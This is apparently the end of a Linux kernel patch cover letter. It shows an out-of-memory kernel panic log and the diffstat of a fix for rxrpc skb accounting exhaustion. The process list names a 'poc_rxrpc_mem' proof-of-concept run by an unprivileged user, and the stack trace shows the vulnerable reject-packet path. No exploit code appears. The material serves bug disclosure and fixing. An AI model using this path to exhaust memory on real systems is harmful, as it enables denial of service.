[ 82.092472][ T4954] [ pid ] uid tgid total_vm rss rss_anon rss_file rss_shmem pgtables_bytes swapents oom_score_adj name
[ 82.092708][ T4954] [ 4992] 0 4992 8006 232 229 2 1 86016 0 -250 systemd-journal
[ 82.092746][ T4954] [ 5002] 0 5002 9185 2796 2794 2 0 94208 0 -1000 systemd-udevd
[ 82.092766][ T4954] [ 8850] 0 8850 55235 328 326 2 0 86016 0 0 rsyslogd
[ 82.092801][ T4954] [ 9195] 0 9195 24973 356 354 2 0 73728 0 0 dhclient
[ 82.092821][ T4954] [ 9245] 0 9245 720 34 32 2 0 40960 0 0 agetty
[ 82.092840][ T4954] [ 9246] 0 9246 720 35 33 2 0 49152 0 0 agetty
[ 82.092996][ T4954] [ 9247] 0 9247 720 34 32 2 0 45056 0 0 agetty
[ 82.093030][ T4954] [ 9248] 0 9248 720 33 31 2 0 49152 0 0 agetty
[ 82.093056][ T4954] [ 9249] 0 9249 720 34 32 2 0 53248 0 0 agetty
[ 82.093081][ T4954] [ 9250] 0 9250 720 35 33 2 0 53248 0 0 agetty
[ 82.093107][ T4954] [ 9251] 0 9251 1101 36 34 2 0 45056 0 0 agetty
[ 82.093132][ T4954] [ 9252] 0 9252 3340 245 243 2 0 69632 0 -1000 sshd
[ 82.093158][ T4954] [ 9254] 0 9254 14097 390 389 1 0 90112 0 0 nginx
[ 82.093263][ T4954] [ 9255] 33 9255 14191 471 469 2 0 90112 0 0 nginx
[ 82.093388][ T4954] [ 9256] 33 9256 14191 471 469 2 0 90112 0 0 nginx
[ 82.093456][ T4954] [ 9964] 0 9964 1429 143 63 80 0 53248 0 0 bash
[ 82.093478][ T4954] [ 9967] 0 9967 3453 292 290 2 0 65536 0 0 sshd
[ 82.093497][ T4954] [ 9973] 1001 9973 3453 292 290 2 0 65536 0 0 sshd
[ 82.093517][ T4954] [ 9974] 1001 9974 246315 63 62 1 0 110592 0 0 poc_rxrpc_mem
[ 82.093564][ T4954] Kernel panic - not syncing: Out of memory: system-wide panic_on_oom is enabled
[ 82.439197][ T4954] CPU: 1 UID: 0 PID: 4954 Comm: krxrpcio/7001 Not tainted 7.3.0-rc1+ #2 PREEMPT(full)
[ 82.440847][ T4954] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 82.442753][ T4954] Call Trace:
[ 82.443408][ T4954] <TASK>
[ 82.443899][ T4954] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[ 82.444682][ T4954] dump_stack (lib/dump_stack.c:129)
[ 82.445350][ T4954] vpanic (kernel/panic.c:651)
[ 82.446027][ T4954] ? __pfx_vpanic (kernel/panic.c:363)
[ 82.446770][ T4954] panic (kernel/panic.c:788)
[ 82.447382][ T4954] ? __pfx_panic (kernel/panic.c:741)
[ 82.448107][ T4954] ? dump_header (mm/oom_kill.c:475)
[ 82.448924][ T4954] out_of_memory (mm/oom_kill.c:1076 (discriminator 4) mm/oom_kill.c:1143)
[ 82.449697][ T4954] ? __pfx_out_of_memory (mm/oom_kill.c:835)
[ 82.450608][ T4954] __alloc_frozen_pages_noprof (mm/page_alloc.c:4113 mm/page_alloc.c:5030 mm/page_alloc.c:5449)
[ 82.451565][ T4954] ? __pfx_stack_trace_consume_entry+0x10/0x10
[ 82.452575][ T4954] ? __pfx___alloc_frozen_pages_noprof (mm/page_alloc.c:4022)
[ 82.453600][ T4954] ? stack_trace_save (kernel/stacktrace.c:122 (discriminator 1))
[ 82.454408][ T4954] ? __pfx_stack_trace_save (kernel/stacktrace.c:397)
[ 82.455268][ T4954] ? __kasan_check_write (mm/kasan/shadow.c:37 (discriminator 1))
[ 82.456263][ T4954] ? _raw_spin_unlock_irqrestore (include/linux/spinlock_api_smp.h:210 (discriminator 1) kernel/locking/spinlock.c:221)
[ 82.457325][ T4954] ? __refill_objects_node (include/linux/list.h:140 include/linux/list.h:261 include/linux/list.h:275 mm/slub.c:7276)
[ 82.458191][ T4954] allocate_slab (mm/slub.c:3347 (discriminator 2) mm/slub.c:3470)
[ 82.458949][ T4954] new_slab (mm/slub.c:3513)
[ 82.459599][ T4954] refill_objects (mm/slub.c:7410)
[ 82.460340][ T4954] ? __pcs_replace_empty_main (include/linux/local_lock_internal.h:62 (discriminator 1) mm/slub.c:4762)
[ 82.461381][ T4954] __pcs_replace_empty_main (mm/slub.c:2885 mm/slub.c:4774)
[ 82.462654][ T4954] kmem_cache_alloc_node_noprof (mm/slub.c:4850 mm/slub.c:4984 mm/slub.c:5068)
[ 82.463575][ T4954] ? kmalloc_reserve (net/core/skbuff.c:615 (discriminator 2))
[ 82.464403][ T4954] kmalloc_reserve (net/core/skbuff.c:615 (discriminator 2))
[ 82.465191][ T4954] __alloc_skb (net/core/skbuff.c:715)
[ 82.465972][ T4954] ? __alloc_skb (include/linux/bottom_half.h:20 (discriminator 1) net/core/skbuff.c:697)
[ 82.466922][ T4954] ? __pfx___alloc_skb (include/linux/fortify-string.h:447)
[ 82.467855][ T4954] alloc_skb_with_frags (include/linux/skbuff.h:1384 net/core/skbuff.c:6796)
[ 82.468672][ T4954] ? __local_bh_enable_ip (kernel/softirq.c:478)
[ 82.469529][ T4954] ? __sanitizer_cov_trace_switch (kernel/kcov.c:347 (discriminator 1))
[ 82.470490][ T4954] sock_alloc_send_pskb (net/core/sock.c:3015)
[ 82.471436][ T4954] ? find_held_lock (kernel/locking/lockdep.c:5367)
[ 82.472168][ T4954] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 82.473023][ T4954] ? __pfx_sock_alloc_send_pskb (net/core/sock.c:2847 (discriminator 2))
[ 82.473918][ T4954] ? __lock_acquire (kernel/locking/lockdep.c:4690 kernel/locking/lockdep.c:5208)
[ 82.474904][ T4954] ? ipv6_dev_get_saddr (include/linux/rcupdate.h:882 net/ipv6/addrconf.c:1916)
[ 82.475738][ T4954] ? __lock_acquire (kernel/locking/lockdep.c:4690 kernel/locking/lockdep.c:5208)
[ 82.476539][ T4954] __ip6_append_data (include/net/sock.h:1907 net/ipv6/ip6_output.c:1695)
[ 82.477359][ T4954] ? find_held_lock (kernel/locking/lockdep.c:5367)
[ 82.478128][ T4954] ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3160)
[ 82.479126][ T4954] ? __pfx___ip6_append_data (net/ipv6/ip6_output.c:2063)
[ 82.480406][ T4954] ? ip6_mtu (net/ipv6/route.c:3290)
[ 82.481151][ T4954] ? ip6_setup_cork (net/ipv6/ip6_output.c:1450)
[ 82.482001][ T4954] ip6_make_skb (net/ipv6/ip6_output.c:2094)
[ 82.482943][ T4954] ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3160)
[ 82.483955][ T4954] ? __pfx_ip6_make_skb (net/ipv6/ip6_output.c:2040)
[ 82.485312][ T4954] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 82.486222][ T4954] udpv6_sendmsg (net/ipv6/udp.c:1720)
[ 82.487098][ T4954] ? udpv6_sendmsg (net/ipv6/udp.c:1720)
[ 82.487903][ T4954] ? __pfx_udpv6_sendmsg (net/ipv6/udp.c:338)
[ 82.488827][ T4954] ? ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[ 82.489708][ T4954] ? stack_trace_save (kernel/stacktrace.c:122 (discriminator 1))
[ 82.490773][ T4954] ? __lock_acquire (kernel/locking/lockdep.c:4690 kernel/locking/lockdep.c:5208)
[ 82.491684][ T4954] ? kasan_save_stack (mm/kasan/common.c:58)
[ 82.492495][ T4954] ? kasan_save_stack (mm/kasan/common.c:57)
[ 82.493363][ T4954] ? debug_smp_processor_id (lib/smp_processor_id.c:58)
[ 82.494336][ T4954] ? rcu_is_watching (include/linux/context_tracking.h:128 (discriminator 1) kernel/rcu/tree.c:753)
[ 82.495181][ T4954] ? __sanitizer_cov_trace_const_cmp1 (kernel/kcov.c:296)
[ 82.496373][ T4954] ? __sanitizer_cov_trace_switch (kernel/kcov.c:347 (discriminator 1))
[ 82.497344][ T4954] rxrpc_reject_packet (net/rxrpc/output.c:30 net/rxrpc/output.c:863)
[ 82.498291][ T4954] ? rxrpc_reject_packet (net/rxrpc/output.c:30 net/rxrpc/output.c:863)
[ 82.499373][ T4954] ? __pfx_rxrpc_reject_packet (net/rxrpc/output.c:801)
[ 82.500326][ T4954] ? __kasan_check_write (mm/kasan/shadow.c:37 (discriminator 1))
[ 82.501184][ T4954] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 82.502191][ T4954] ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4488)
[ 82.503149][ T4954] ? debug_smp_processor_id (lib/smp_processor_id.c:58)
[ 82.504089][ T4954] ? rxrpc_put_peer (net/rxrpc/peer_object.c:447)
[ 82.505118][ T4954] rxrpc_io_thread (net/rxrpc/io_thread.c:478)
[ 82.506237][ T4954] ? __pfx_rxrpc_io_thread (net/rxrpc/io_thread.c:108)
[ 82.507287][ T4954] ? kthread_affine_node (kernel/kthread.c:375)
[ 82.508169][ T4954] ? __lock_acquire (kernel/locking/lockdep.c:4690 kernel/locking/lockdep.c:5208)
[ 82.509041][ T4954] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 82.509961][ T4954] ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4488)
[ 82.510849][ T4954] ? __pfx_rxrpc_io_thread (net/rxrpc/io_thread.c:108)
[ 82.511922][ T4954] kthread (drivers/block/aoe/aoecmd.c:1243)
[ 82.512630][ T4954] ? kthread (drivers/block/aoe/aoecmd.c:1243)
[ 82.513476][ T4954] ? __pfx_kthread (include/linux/list.h:175 (discriminator 2))
[ 82.514354][ T4954] ret_from_fork (arch/x86/kernel/process.c:158)
[ 82.515410][ T4954] ? __pfx_ret_from_fork (arch/x86/include/asm/desc.h:59 (discriminator 3))
[ 82.516265][ T4954] ? __sanitizer_cov_trace_const_cmp8 (kernel/kcov.c:317)
[ 82.517355][ T4954] ? __switch_to (arch/x86/kernel/process_64.c:713 (discriminator 1))
[ 82.518196][ T4954] ? __pfx_kthread (include/linux/list.h:175 (discriminator 2))
[ 82.519073][ T4954] ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[ 82.519877][ T4954] </TASK>
[ 82.521689][ T4954] Kernel Offset: disabled
[ 82.522550][ T4954] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
rxrpc: fix encap_rcv skb accounting exhaustion
net/rxrpc/io_thread.c | 37 +++++++++++++++++++++++++++++++++++--
net/rxrpc/local_object.c | 8 ++++++--
2 files changed, 41 insertions(+), 4 deletions(-)
--
2.43.0